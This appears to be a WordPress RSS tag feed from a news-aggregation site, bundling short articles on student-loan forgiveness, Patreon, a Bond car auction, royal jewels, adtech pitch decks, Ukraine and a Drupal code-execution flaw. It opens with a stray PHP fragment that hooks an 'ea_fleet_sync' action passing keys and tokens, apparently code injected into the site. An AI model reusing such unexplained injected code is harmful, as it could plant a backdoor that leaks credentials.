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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); millions – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 19:21:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png millions – Brief News https://briefnews.eu 32 32 22 GOP state governors are trying to block Biden’s student-loan forgiveness even though millions of their residents could benefit https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/ https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/#respond Tue, 20 Sep 2022 19:21:52 +0000 https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/ College graduates
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  • 22 GOP state governors urged Biden to withdraw his student-loan forgiveness plan.
  • The White House just released state-by-state data on how many borrowers could be eligible for relief.
  • Millions of borrowers would likely qualify for the debt cancellation in the 22 GOP-led states.

Newly released data revealed the benefits of President Joe Biden's student-loan forgiveness plan could be far-reaching in the Republican-led states trying to block the policy.

Just over a month after Biden announced up to $ 20,000 in student-debt relief for federal borrowers making under $ 125,000 a year, the White House on Tuesday released state-by-state estimates on how many borrowers could be eligible for the relief. In 11 states, over 1 million borrowers are projected to be eligible for the loan forgiveness, per the data, with California leading the list at 3.5 million borrowers.

"I've always maintained that data drives everything, and that's why this announcement today, and this data release, is just so essential," Massachusetts Rep. Ayanna Pressley said during a Tuesday press call. "I'll be honest, I was emotional walking through these numbers with my team, recognizing that behind every number, there is a person, there's a family, there's a story here."

But some Republican politicians might not see it quite that way. On September 12, 22 GOP governors sent a letter to Biden urging him to "withdraw your student loan plan immediately," arguing that the policy is costly, illegal, and unfair to those who already paid off their loans. 

"For many borrowers, they worked hard, made sacrifices, and paid off their debt. For many others, they chose hard work and a paycheck rather than more school and a loan. Americans who did not choose to take out student loans themselves should certainly not be forced to pay for the student loans of others," they wrote. 

Here's how many student-loan borrowers would benefit from Biden's debt relief in each of those 22 states:

  • Alabama: 588,000
  • Alaska: 60,500
  • Arizona: 810,800
  • Arkansas: 365,600
  • Florida:  2,427,600
  • Georgia: 1,506,100
  • Idaho: 201,400
  • Iowa: 408,700
  • Maryland: 747,100
  • Missouri: 777,300
  • Montana: 120,400
  • Nebraska: 232,100
  • New Hampshire: 175,100
  • North Dakota: 82,000
  • Ohio: 1,677,800
  • Oklahoma: 454,300
  • South Carolina: 681,100
  • South Dakota: 109,100
  • Tennessee: 795,300
  • Texas: 3,323,200
  • Utah: 282,700
  • Wyoming: 49,600

An Education Department official told reporters on Tuesday that the administration arrived at those estimates by using "commonly employed statistical techniques" to estimate borrowers' income, along with census data that has detailed information on income for specific groups of people. 

Since Biden announced his relief, Republicans have been pushing back on the policy — some have even expressed intent to block the loan forgiveness in court. But the Biden administration maintains it has the legal standing to carry out this one-time blanket relief and is moving forward with implementation, planning to make an application for relief available in early October. 

"The analysis we are releasing today tells us that President Biden's debt relief plan will touch working families in every corner of the state of the country, in red states and blue states and everywhere in between, states and big cities, sprawling suburbs, tribal lands and remote rural towns," Under Secretary of Education James Kvaal told reporters. "Nearly 20 million borrowers will have their entire balances discharged, others will benefit from lower balances and lower payments."

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Jimmy 'MrBeast' Donaldson.

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  • Patreon was in talks with Jimmy "MrBeast" Donaldson earlier this year, Insider has learned.
  • The deal, which would see the YouTuber creating subscription content, was worth millions but never materialized.
  • News of the negotiations arrives amid layoffs within Patreon's creator partnerships team.

Earlier this year, Patreon had its sights set on onboarding one of the most well-known creators on earth. 

The company was in talks with Jimmy Donaldson, known to his millions of followers as MrBeast, for a deal that would see the marquee YouTuber creating subscription content, two former employees told Insider.

One of the former employees said the prospective deal "had enough zeroes to fall in the millions." The second said it could've been valued at as much as $ 10 million.

Ultimately, though, the deal never came to pass. It fell apart by July, according to the second former employee.

A representative for MrBeast declined to comment.

Ellen Satterwhite, Patreon's interim head of communications and US policy lead, told Insider that the company would not comment on personal or sensitive information about specific creators.

News of the negotiations arrives as Patreon announced cuts to its creator partnerships team, which works to onboard and support creators. Patreon founder and CEO Jack Conte wrote in a memo on September 13 that the company's creator partnerships efforts would "take a more scaled approach with a smaller, consolidated team in the US."

All told, the layoffs impacted 80 of roughly 470 staffers across various teams. 

While a deal with MrBeast never materialized, other deals that Patreon closed appear to have fallen spectacularly short of expectations. Company documents obtained by Insider show that deals with TikTok megastars Larray and Lil Huddy brought in far less in their first months on the platform than the company projected.

"They saw these deals as experiments to play around with and test certain strategies," the second former employee said. "Apparently, only a few months ago, there was enough money in the bank to spend several million to sign creators with exclusively Gen-Z followings who of course can't that easily spend $ 10 or more per month for exclusive content."

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The Aston Martin DB5 stunt car used in the James Bond film No Time To Die.

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  • Items featured in James Bond films are being auctioned by Christie's in London.
  • Some of the most notable lots are the cars used in the 2021 film "No Time to Die".
  • The Aston Martin DB5 could fetch $ 2.3 million, while a Land Rover could go for almost $ 600,000.

An Aston Martin DB5 expected to fetch about $ 2.3 million in an auction to commemorate the 60th anniversary of James Bond.

The "Sixty Years of James Bond" auction is being conducted by Christie's and is due to start later this month. The last three 007 auctions run by the auction house raised almost $ 7.2 million. 

There are items commemorating each of the six actors to have played Bond, including Sean Connery, Pierce Brosnan, and Daniel Craig. 

While costumes, boats and Bond-related getaways are up for grabs, the most eye-catching is a collection of classic cars, mostly from "No Time to Die", including Aston Martins, Jaguars, and Land Rovers. 

Bidders will need deep pockets to lump for the cars seen in the film, but there's also an exclusive model replica for the more frugal bidder.   

The Aston Martin DB5 that features in the opening sequence of No Time to Die is a key lot at the upcoming auction.

The Aston Martin from the opening sequence of No Time to Die is the prize item at the upcoming lottery.
The Aston Martin DB5 stunt car used in the James Bond film No Time To Die.

Christie's

In the film, Bond is assaulted on all fronts by assailants, meaning his car has accordingly seen better days.

A picture of the Aston Martin DB5 from the back, showing scratches.

Christie's

The car was one of eight stunt replicas used by Daniel Craig to film "No Time To Die". It is the only car that has been put up for auction.

The car was one of eight stunt replicas used during filming. It is the only car that has been made available for auction.

Christie's

The car comes resplendent with replica machine guns used in the film.

A picture of the gun mechanism installed on the Aston Martin for "No Time to Die".

Christie's

The DB5 is expected to fetch between £1.5 million ($ 1.7 million) and £2 million ($ 2.3 million).

An aerial picture of the Aston Martin DB5 spinning in a circle.

Christie's

Daniel Craig drove another Aston Martin in the film: the Aston Martin V8.

Daniel Craig standing in a forest beside an Aston Martin V8.

Christie's

V8s were manufactured by Aston Martin between 1969 and 1989.

A studio picture of Aston Martin V8.

Christie's

Christie's expects the car to go for between £500,000 and £700,000 ($ 577,000 and $ 808,000).

A picture of the steering wheel and interior of No Time to Die.

Christie's

A more modern Aston Martin is also on the market. The DBS Superleggera No Time To Die 007 Special Edition is expected to fetch between £300,000 to £400,000 ($ 346,000 and $ 462,000).

Aston Martin DBS Superleggera No Time To Die 007 Special Edition.

Christie's

A Land Rover Defender 110 featured in "No Time to Die" is among three cars up for sale. Christie's said Land Rover "tore up the rulebook" by allowing the new Defender on set months before its global launch.

Land Rover Defender 110s fly through the air during a stunt scene from "No Time to Die".

Christie's

The Land Rover Defender 110 is expected to go for between £300,000 and £500,000 ($ 346,000 and $ 577,000).

A picture of the Land Rover Defender 110 in a studio.

Christie's

A Jaguar XF used in the opening sequence of "No Time to Die" is also up for auction. The car pursued James Bond on the streets of Matera in southern Italy.

Jaguar XF.

Christie's

The more frugal bidder might have more luck with this Jaguar, which is expected to fetch between £50,000 and £70,000 ($ 58,000 and $ 81,000).

Jaguar XF in a studio.

Christie's

And for those with just a few thousand to spare, this miniature BMW 750 from 1997's "Tomorrow Never Dies" is set to go for between £7,000 to £10,000 ($ 8,000 to $ 11,500).

A BMW 750il miniature model with intentional continuity damage.

Christie's

The model BMW is just 15 inches high and 49 inches long.

BMW 750il miniature version.

Christie's

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The Queen examines her coronation crown in "The Coronation."

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  • Queen Elizabeth left behind a vast collection of jewels, tiaras, and brooches when she passed away on Thursday. 
  • Some of the items will remain part of the Crown Jewels on display at the Tower of London. 
  • Others are expected to be passed down to King Charles, Camilla, the queen consort, and newly named Princess of Wales Kate Middleton.

When King Charles III inherited a new title upon the death of his mother, Queen Elizabeth II, on Thursday, he also likely acquired her extensive jewel, crown, and brooch collection. 

Some of these items will remain part of the Crown Jewels, a collection of royal ceremonial objects on public display  at the Tower of London. However, the Queen's private collection — worth millions of US dollars and comprised of family heirlooms, gifts, and items purchased by the monarch herself — is expected to be passed down to members of the Windsor family, starting with King Charles. 

"It is likely that she would want to pass on items from her private collection to her loved ones," royal commentator Josh Rom told the New York Post. "The bulk of the collection will pass to Charles — with Camilla as his queen consort — and then Kate, so they may not be left anything big [in the will]."

According to Vanity Fair, the royal collection began during the reign of Queen Victoria in the 1800s, when the former monarch began collecting jewels as the British empire expansion. The collection continued to grow during the reign of Queen Mary, who amassed extravagant pieces during her world travels and through connections with jewelers and world leaders, Vanity Fair reported. 

Catherine, Duchess of Cambridge, on her wedding day in 2011.
Newly named Princess of Wales Catherine, seen on her wedding day in 2011.

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Many of Queen Mary's jewels were gifted to her granddaughter, Queen Elizabeth II, who subsequently loaned out various pieces during her 70 years on the throne. Among them, the Cartier Halo tiara containing 1,000 diamonds, was worn by Kate Middleton at her wedding. Meghan Markle sported the Diamond Bandeau during her nuptials, the New York Post reported. 

Rom told the Post that it's likely the Queen will bequeath these crowns to the same family members who borrowed them, but he noted if they were left in her will, the recipients would be required to pay a 40% inheritance tax on them.

Given the value of some of these items, he said it might be in the best interest of the family to leave the items as part of the royal collection. 

The crown jewels on display inside the Tower of London.
The crown jewels on display inside the Tower of London.

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  • Former President Donald Trump attacked Democrat candidate John Fetterman at a Pennsylvania rally.
  • He called Fetterman spoiled and said he "leeched off his parents' money."
  • Trump was in Pennsylvania to support Republicans Dr. Mehmet Oz and Doug Mastriano.

Former President Donald Trump said Democrat candidate Lt. Gov. John Fetterman "is a spoiled and entitled socialist loser who leeched off his parents' money" during a rally in Pennsylvania on Saturday.

In 2018, The New York Times debunked Trump's claims that he was a self-made billionaire. The outlet reported Trump received the equivalent of at least $ 413 million from his father's real estate empire, beginning when he was a toddler. 

Trump also said Fetterman, who is running against Republican Dr. Mehmet Oz for a seat in the US Senate, "lives on his parents' money" and alleged Fetterman uses drugs. 

Fetterman has served as the lieutenant governor of Pennsylvania since 2019. Prior to that, he was the mayor of Braddock, Pennsylvania, for 13 years. The Philadelphia Inquirer reported that Fetterman's parents supported him well into his 40s because he was only earning $ 150 per month during his mayorship. Fetterman has acknowledged this support and now earns $ 217,610 as lieutenant governor.

In response to Trump's comments, Joe Calvello, the director of communications for Fetterman tweeted "more and more lies from Trump and Dr. Oz; another day, but it's the same shit from these two desperate and sad dudes.' 

The former president was campaigning for Republicans Oz and Doug Mastriano — a candidate for state governor —  before the November midterm elections. 

According to recent polls, Fetterman is ahead of Oz by 8.1 points in the race to represent Pennsylvania in the US Senate. 

Saturday's rally was the first one Trump has appeared at since the FBI searched his Mar-a-Lago estate on August 8 and discovered more than 10,000 government documents, according to a publicly released inventory.

At the podium, Trump once again decried the search, claiming that the FBI raided the "hopes and dreams" of the American's he's been "fighting for."

He then took the opportunity to call President Joe Biden "an enemy of the state" in response to comments Biden made on Thursday lambasting "MAGA forces" for fanning the "flames of political violence."

Trump also ridiculed Mark Zuckerberg, saying the Meta CEO begged the former president to have dinner with him last week.

Representatives for Trump and Fetterman did not immediately respond to Insider's request for comment.

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  • Investors are pouring money into marketing and media startups.
  • These startups are using technology to disrupt advertising and marketing.
  • Read these 30 decks to see how these startups sold their visions to VCs and other investors.
  • See more stories on Insider's business page.

Investors are pouring money into startups that are trying to disrupt advertising, media, and marketing.

Insider has been tracking these startups that are using tech to capitalize on changing consumer media habits and marketers' desire to reach new audiences and ensure their ads are working.

They're enabling live shopping, measuring digital ad performance, collecting consumer data, and more.

Check out these pitch decks that they've used to sell their vision and raise millions from private equity and VC investors.

Making video ads that perform

Founded in 2014, video adtech firm VidMob offers technology and a marketplace that helps advertisers convert their TV and web ads into hundreds of different video formats. 

It also helps advertisers understand how specific creative decisions — such as how far away an actor is from the camera — influence how an ad performs on different platforms.

VidMob just raised a $ 110 million Series D round, led by Shamrock Partners.

Check out the pitch deck video-focused adtech company VidMob used to raise its $ 110 million Series D round 

Better B2B events

Goldcast is a B2B events startup that's trying to reimagine the stuffy conference arena by incorporating Netflix-like features in its video presentations. It also gathers info from attendees that clients can use to pitch them down the road.

Goldcast just raised $ 28 million in Series A funding from private-equity firm Westbridge Capital, with participation from VC firm Unusual Ventures, for a total of $ 40 million in funding.

A company that wants to be the Netflix of B2B events just raised $ 28 million — here's its pitch deck

Gaming ads

Odeeo seed 10

Odeeo

Israeli startup Odeeo puts audio ads in mobile games so advertisers can message players without disrupting their gaming experience.

It just raised a $ 9 million seed round to expand to the US, led by Play Ventures and with participants including gaming studio founders Anton Gauffin and Lior Shiff and mobile guru Eric Seufert.

Read the pitch deck a startup used to raise $ 9 million from investors like mobile guru Eric Seufert to expand its video game ads business to the US

Shoppable video

Retailers are rushing to add video shopping tools to their sites to keep up with tech giants like Amazon and YouTube. Austin, Texas-based startup Kerv is helping companies make video ads shoppable, using machine learning and AI to recognize items in ads, match the items to a brand's products, and insert click-to-buy links.

Kerv recently raised $ 12 million in a growth round led by Trinity Capital Inc.

Read the pitch deck that helped a tech startup get $ 12 million to help big brands like Macy's and Apple make their video ads shoppable

Live shopping tools

Another startup, Firework, is jumping on the live video shopping trend, with software it sells to retail chains like Albertsons and Fresh Market.

Firework just raised $ 150 million in Series B funding led by SoftBank.

Read the pitch deck that a startup used to raise $ 150 million led by SoftBank to help retailers add live videos to their sites

Simplifying market research

Ad agency vets Grant McDougall, Liza Nebel, and Matt Gross started BlueOcean in 2019, when they saw an opening to use machine learning to show marketers how they and their competitors were performing. Now, they count Microsoft, Riot Games, and Bloomingdale's as clients.

The software-as-a-service startup just raised a $ 30 million Series B round, led by Insight Partners.

Check out the pitch deck this AI brand strategy startup used to raise $ 30 million to help marketers audit the strength of their brands

Marketing in the metaverse

Anzu, a startup whose technology inserts ads into video games, helps advertisers place logos and digitally-rendered products inside video games.

Anzu raised $ 20 million in a new funding round led by NBCUniversal and HTC, which manufactures electronics including VR headsets.

Read the pitch deck that helped an adtech startup raise $ 20 million to build ads in the metaverse

Capitalizing on messaging apps

AI platform Connectly helps businesses market to people through messaging apps. 

It was founded by the former head of Meta's messenger and blockchain businesses and Strava's ex-CTO.

Connectly raised $ 4 million in seed funding in February 2021 from Unusual Ventures, Marathon Venture Capital, and others and is now seeking $ 15 million.

Check out the pitch deck this startup is using to raise $ 15 million to help marketers capitalize on the rise of messaging apps

Reinventing the PowerPoint

Giide marketing materials.

Giide

Crispin Porter Bogusky alums founded Giide to update the business presentation with tools that let customers create interactive, audio-based content.

They just raised $ 1.6 million in seed funding led by Supernode Global, which was joined by other early-stage venture funds including FirstMile Ventures and TechNexus.

Here's the pitch deck a startup that wants to reinvent the business presentation used to raise $ 2.2 million

Growing streaming TV businesses

Amagi helps media giants like NBCUniversal and Gannett build and distribute ad-supported streaming channels. It also provides tools to help content owners sell ad inventory.

It just raised $ 95 million in a round led by Accel Ventures, which it plans to use to invest in the news and sports categories.

Read the pitch deck a media tech firm used to raise $ 95 million to help content owners like NBCUniversal and Gannett run their streaming channels

Targeting home buyers

Adtech vet Ed Carey got the idea for Audience Town, an ad tech startup focused on real estate, when he realized how data-rich the industry was.
The company uses public property data to help advertisers target home buyers and owners, and it just raised $ 6.1 million in its third seed round from investors including Utah's Wasatch Venture Partners and Aperiam Ventures.

This pitch deck helped an adtech startup raise $ 6.1 million to capitalize on the red-hot real estate market

Connecting PR pros to journalists

As consumers avoid online ads and tech giants curtail advertisers' use of targeting, marketers need to find other ways to get their messages in front of people.

Tech startup Propel argues that PR has a chance to benefit by using earned media. It sells tech that helps public relations pros find the right journalists to pitch.

It just raised $ 4.5 million in seed funding, led by Lyft and DoorDash investor NFX.

Read the pitch deck that helped a PR tech startup raise $ 4.5 million, led by an early investor of DoorDash and Lyft

Socially responsible advertising

UK startup Good-Loop is trying to harness companies' growing desire to show they're socially responsible. It's encouraging viewers to watch ads by having brands donate to one of their charity partners once the video is complete. Clients include Unilever, PepsiCo, Nestlé, Levi's, Adidas, NBC Universal, and Nike. 

It just raised a $ 6.1 million Series A round, led by Questus Capital Management.

See the pitch deck watch-to-donate adtech startup Good-Loop used to raise a $ 6.1 million Series A round

Creative consulting platform

Founded in the UK in 2015, BeenThereDoneThat connects companies with c-suite creative and strategy officers to help them solve marketing and advertising challenges by linking them to a network of chief strategy, chief innovation, and chief creative officers. 

The startup just raised a $ 7 million Series A round, led by VC firm Beringea.

See the pitch deck creative marketing consultancy BeenThereDoneThat used to raise a $ 7 million Series A round

AI tools to grow sales

Ocean.io CEO and founder Michael Heiberg

Ocean.io

Ocean.io is a Copenhagen-based martech data platform that helps clients like Sony, UserTesting, and Brandwatch target key B2B accounts.

Personalizing B2B marketing can be a tedious process, but Ocean.io's pitch is that it analyzes more than 300 million web pages, company registries, public databases, and existing account and transaction data to help companies find likely prospects.

The company just raised $ 7 million from Peak Capital and existing investors.

See the deck that helped a martech startup used by Sony and Brandwatch raise $ 7 million. The European company is now set to expand to the US.

Measuring the value of PR services

Eddie Kim, CEO and founder of Memo
Eddie Kim, CEO and founder of Memo

Memo

Founded in 2018, Memo pitches software that shows clients like Google and Samsung how many people read an article about their company or products, using data from publishers like Condé Nast, Forbes, and The Washington Post.

It most recently raised $ 10 million in Series A, for a total of $ 17 million in funding.

Read the pitch deck that a PR startup used to raise $ 10 million to help clients like Samsung and Google grab publisher insights

Protecting companies' reputations

Founded in 2013, Signal AI collects and analyzes data from regulatory filings, social media, broadcast, and net promoter scores to help clients like Bank of America Securities, Google, and Exxon Mobil, measure their reputation and manage supply chain risks.

It just raised $ 50 million in Series D funding from venture capital firm Highland Europe along with asset manager Abrdn.

Check out the pitch deck that a PR tech company used to raise $ 50 million to extend its business beyond public relations

Collecting data in the privacy era

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Qonsent

Advertisers are scrambling to find new ways to market to people as the privacy clampdown makes it harder to target people online.

Qonsent is a startup that helps advertisers get customers to share personal data like birthdays or email addresses using QR codes on ad creative.

It just raised $ 5 million in seed funding from Zekavat Investment Group, who led the round; VaynerMedia CEO Gary Vaynerchuk; and Michael Kassan, chairman and CEO of MediaLink.

Check out the pitch deck a privacy tech startup used to raise $ 5 million from investors like Gary Vaynerchuk to transform how advertisers collect customer data

Selling mobile advertising

UK-based Picnic says digital ads are rife with fraud and perform terribly. Its solution: mobile ads inspired by social media features like stories and carousels that actually engage readers. It claims its ad formats boost ad performance for brands and bring in more revenue for online publishers.

Now it's expanding to the US with help from $ 3 million in Series A funding it just raised from Guinness Asset Management, along with existing angel investors.

Check out the pitch deck that helped UK digital advertiser network Picnic raise $ 3 million

Customizing the user experience

Businesses have scrambled to update their digital operations in the pandemic, creating an opportunity for UX startups like Uniform that help companies customize their user online experience.

Uniform just raised $ 28 million from Insight Partners, Array Ventures, and Elad Gil.

Check out the pitch deck that this startup that helps advertisers customize their digital user experience used to raise $ 28 million

Creating non-intrusive audio ads

AudioMob cofounders Christian Facey (left) and Wilfrid Obeng
AudioMob cofounders Christian Facey (left) and Wilfrid Obeng.

AudioMob

UK-based adtech firm AudioMob offers audio ads that appear in mobile games. It pitches the ads as "non-intrusive" because they don't interrupt the gameplay, the ads only play if a user's device is set to a certain volume, and they don't rely on hypertargeted tracking techniques.

It just raised a $ 14 million Series A round from investors including Makers Fund, Lightspeed Venture Partners, Sequoia Capital, and Google, to grow its team and expand to new products.

See the pitch deck that helped audio ads firm AudioMob raise $ 14 million from investors including Makers Fund, Lightspeed Venture Partners, and Google

Bringing efficiency to video editing

Toch.ai is an India-based startup that aims to democratize video editing, arguing that the technologies to produce and distribute videos require time-consuming, manual processes, and existing video editing software can be pricey.

Toch.ai has raised $ 11.75 million in Series A funding led by Moneta Ventures to support an expansion into bigger markets like the US.

See the pitch deck that helped a video-editing startup raise $ 12 million to take on Adobe and expand into the US

Placing contextual advertising

Seedtag pitch deck

Seedtag

Contextual advertising has become a buzzy area in adtech as the sector shifts away from the precision-targeting and tracking of individual users. 

Founded seven years ago by two former Googlers, Seedtag specializes in contextual advertising — using data and artificial intelligence to place ads within relevant publisher content that users should be more likely to interact with. 

Seedtag recently raised a $ 40 million funding round, led by Oakley Capital. 

See the pitch deck that helped contextual advertising firm Seedtag raise $ 40 million. The European adtech company now plans a US expansion.

Automating ad creation

Dan Pantelo started a performance marketing agency in college and pivoted to software after discovering that creative testing was the most important and time-consuming part of making ads.

Today, his marketing technology startup Marpipe claims to help advertisers figure out which ads perform best by automatically testing hundreds of variations.

Marpipe recently raised $ 8 million in Series A for a total of $ 10 million raised to date.

The key pitch deck slides that helped an ad automation startup raise $ 10 million

Connecting companies to freelancers

Slide from Catalant Technologies fundraising pitch.

Catalant Technologies

Investors are pouring millions into platforms like Catalant Technologies that connect companies to independent advertising and consulting professionals, a need that's growing as people quit in the pandemic.

Catalant has raised more than $ 100 million by pitching itself as an alternative to consulting giants like McKinsey.

See the key slides a staffing platform used to raise more than $ 100 million from investors like Morningside CEO Gerald Chan

Data management tools

Google and Apple's moves to clamp down on third-party cookies and the rise of online shopping have advertisers clamoring for help managing all their customer data so they can effectively market to them.

One such company is 4-year-old Amperity, which sells software that clients like Starbucks, Patagonia, and Crocs use to manage stats from sales, email, e-commerce, and loyalty card programs.

Amperity raised $ 100 million in its Series D from existing investors including Tiger Global Management, Declaration Partners, and Madrona Venture Group, for a total of $ 187 million.

Here's the pitch deck that helped a marketing tech startup raise $ 100 million at a $ 1 billion valuation to help brands manage their data

Out-of-home advertising platform

Outdoor advertising is coming back after being crushed during the pandemic, and adtech startup OneScreen.ai is hoping to cash in with a platform for brands to search, buy, run and measure their out-of-home ad campaigns.

OneScreen recently raised $ 1.2 million in pre-seed funding in a round led by Florida-based fund TechFarms Capital with other investors including HubSpot cofounders Brian Halligan and Dharmesh Shah, Wayfair's alumni fund Wayfund, Lola.com CEO Mike Volpe, and BuySellAds.com CEO Todd Garland.

See the pitch deck that Google, Hubspot and Wayfair alums used to raise $ 1.2 million to build the 'Amazon of out-of-home advertising'

Collecting consumer data

Tracer started in 2015 as a unit of Gary Vaynerchuk's ad agency VaynerMedia that automatically collects and organize data that isn't personally identifiable. Led by Tracer co-founder and CEO Jeffrey Nicholson, it also offers free consulting services. It started by helping VaynerMedia oversee hundreds of millions in ad buys for clients like Oreo maker Mondelez; today, clients include other ad agencies like Labelium; Condé Nast; and pharma giant Sanofi.

Tracer recently raised $ 9.9 million in seed funding led by big names like former Walmart and Amazon exec Marc Lore and NBA star Kevin Durant's firm Thirty Five Ventures.

Read the pitch deck a Gary Vaynerchuk-backed data startup used to raise $ 10 million from investors like Walmart's ex-ecommerce CEO

Growing repeat customers

Retina AI founder Emad Hasan
Retina AI founder Emad Hasan

Retina AI

As people do more of their shopping online, marketers are trying to get them to become repeat customers.

Former Paypal and Facebook product and data analytics manager Emad Hasan says his startup Retina helps brands like Dollar Shave Club and Madison Reed acquire and keep customers by building lookalike audiences based on companies' order history and shopper attributes.

It recently raised $ 8 million in Series A funding from Alpha Intelligence Capital, Vertical Venture Partners, and others. 

This investor deck helped a former Facebook product manager raise $ 8 million to help brands boost customers' long-term value

Real-time market research

Agency veteran Matt Britton pitches his consumer intelligence startup Suzy as an always-on digital assistant like Siri or Alexa for marketers. It has a consumer panel that lets marketers conduct surveys and research on subjects like product development and ad effectiveness testing.

He raised $ 50 million in Series D after closing a $ 34 million Series C last year, bringing its total raised to $ 100 million.

H.I.G. Growth Partners, an affiliate of H.I.G. Capital, led the round, with Rho Capital Partners, Bertelsmann Digital Media Investments, Foundry Group, and Triangle Peak Partners also participating.

See the pitch deck a market research startup that's trying to rival Qualtrics and SurveyMonkey used to raise $ 50 million

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Overview of the Zaporizhzhia nuclear power plant on August 29, 2022.

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  • The European Union said that it is preemptively donating 5.5 million anti-radiation tablets to Ukraine.
  • Potassium iodide will help protect civilians if there's an accident from fighting at a nuclear plant.
  • Southern Ukraine's Zaporizhzhia has seen recent shelling, sparking international concern. 

The European Union is sending 5.5 million anti-radiation tablets to Ukraine so it can protect civilians in the event of a serious accident at the Zaporizhzhia nuclear power plant, which has been caught in the middle of ongoing fighting between Ukrainian and Russian forces.

Ukraine requested last week that the EU donate potassium iodide tablets as a "preventative safety measure," European Civil Protection and Humanitarian Aid Operations (ECHO) said in a Tuesday statement. Doing so would provide civilians near the plant — which has seen increasing hostilities — with protection from potential radiation exposure.

A nuclear accident can lead to radioactive iodine being breathed into the lungs and then quickly absorbed by the thyroid gland, according to the Centers for Disease Control and Prevention. Potassium iodide can block radioactive iodine from ending up in the gland.

When a person takes the potassium iodide tablets, the thyroid gland takes in the medicine and is not able to absorb any more radioactive iodine, the CDC said. 

Five million of the tablets are coming from the EU's emergency reserves, ECHO said, while the other 500,00 are being donated by Austria. 

Southern Ukraine's Zaporizhzhia nuclear power plant is the largest in Europe and has been occupied by Russian forces since early March. Since then, international watchdogs have voiced concern that unsafe behavior could trigger a major nuclear disaster. 

In recent weeks, shelling around the plant has damaged the facility and disconnected it from the local power grid. Britain's Defense Ministry has said that the occupying Russian forces appear to be using the plant's protective status as a shield, leaving Ukraine reluctant to attack because it doesn't want to cause a disaster. 

"No nuclear power plant should ever be used as a war theatre," EU Commissioner for Crisis Management Janez Lenarčič said in a statement. "It is unacceptable that civilian lives are put in danger. All military action around the Zaporizhzhia nuclear power plant must stop immediately."

On Monday, the International Atomic Energy Agency's chief Rafael Mariano Grossi said a mission is traveling to the nuclear plant this week to inspect its safety, stability, and security. 

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This year’s New Year’s celebrations were like none other before as millions were told to stay home and avoid large gatherings by Boris Johnson in a bid to prevent the spread of coronavirus. While this meant many people had to celebrate bringing in 2021 from within their own homes, the BBC still aired its annual New Year’s Eve countdown, complete with a fireworks display and a performance from singer Alicia Keys.

However, despite the fact millions were forced to the confines of their own houses, the BBC suffered dwindling ratings for its New Year’s celebrations compared to 2019.

In figures obtained by The Sun Online, this year’s countdown managed to bring in 10.8 million viewers.

However, this was hundreds of thousands fewer than the number who tuned in to watch 2019’s celebrations which raked in 11.2 million. 

2019 and 2020 saw the BBC’s New Year’s celebrations continue to follow the trend of dwindling ratings as 2018 had peaked at 13.3 million people.

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“You couldn’t just have a nice fireworks display, it had to be political, virtue signalling, woke, Neo Marxist nonsense,” one furious viewer said on Twitter.

“Putting that aside for £1.5 million of tax payers money @SadiqKhan @BorisJohnson I think we were robbed, it really was lacklustre.”

A second echoed: “I remember a time when a firework display was just a firework display and not a party political broadcast on behalf of the BLM party endorsed by the Mayor of London and the BBC.”

While a third added to the debate: “Well the BBC and City of London clearly pushed a f**k ton of left-wing political activism in their new year’s celebration firework display.”

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On Monday the Labour Party announced its backing for another EU referendum to prevent a “damaging Tory Brexit”. Speaking on Good Morning Britain, Kevin Maguire, associate editor of the Daily Mirror, claimed another referendum would be between remaining in the EU or supporting Theresa May’s Brexit deal. The remark sparked a furious response from Andrew Pierce, who claimed the decision from Labour was a “betrayal”.

Mr Maguire said: “It will be the Brexit on offer. Do you want the Brexit on offer? Which is the real Brexit.

“Not the unicorn and the moon, the likes of him, sold you three years ago.

“With lies and illegality, because you know there’s no £350million a week for the NHS and so on. You know that now.

“It will be the truth. But, it’s still unlikely to be at this stage passed by Parliament.

“There are a lot of MPs, a sizeable minority of Labour MPs who will vote against it.”

Pierce replied: “And most Tory MPs will vote against it because it is a betrayal of what we voted for in 2016.

“We were told by David Cameron it was a once in a lifetime vote.

“The Government will support it, Labour said they would support it, and they are selling out millions of voters.”

Labour leader Mr Corbyn said he would put forward or support an amendment in favour of a public vote to stop Mrs May’s deal being “forced on the country” if his Brexit demands are not met.

Shadow Brexit secretary Sir Keir Starmer confirmed that if Mrs May’s deal got through Parliament, Labour’s policy was for it to be put to a referendum – with remaining in the EU as the alternative option.

He told BBC Radio 4’s Today programme: “We specifically agreed yesterday, as the Labour Party, that if the Prime Minister’s deal gets through, that deal should be subject to the lock, if you like, of a public vote in the way that Jeremy Corbyn spelt out yesterday.”

But, Labour MP John Mann warned Mr Corbyn risked being ditched by voters over the party’s “absurd” shift to support a second referendum.

He told BBC Radio 4’s Today: “Voters won’t have it. The last person to renege on their manifesto was Nick Clegg, it didn’t end very well for him on tuition fees.

“Our manifesto was unambiguous, we would accept the result of the referendum. A second referendum doesn’t do that and the voters – in very, very large numbers – will not accept that.”

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Millions of sites that run the Drupal content management system run the risk of being hijacked until they’re patched against a vulnerability that allows hackers to remotely execute malicious code, managers of the open source project warned Wednesday.

CVE-2019-6340, as the flaw is tracked, stems from a failure to sufficiently validate user input, managers said in an advisory. Hackers who exploited the vulnerability could, in some cases, run code of their choice on vulnerable websites. The flaw is rated highly critical.

“Some field types do not properly sanitize data from non-form sources,” the advisory stated. “This can lead to arbitrary PHP code execution in some cases.”

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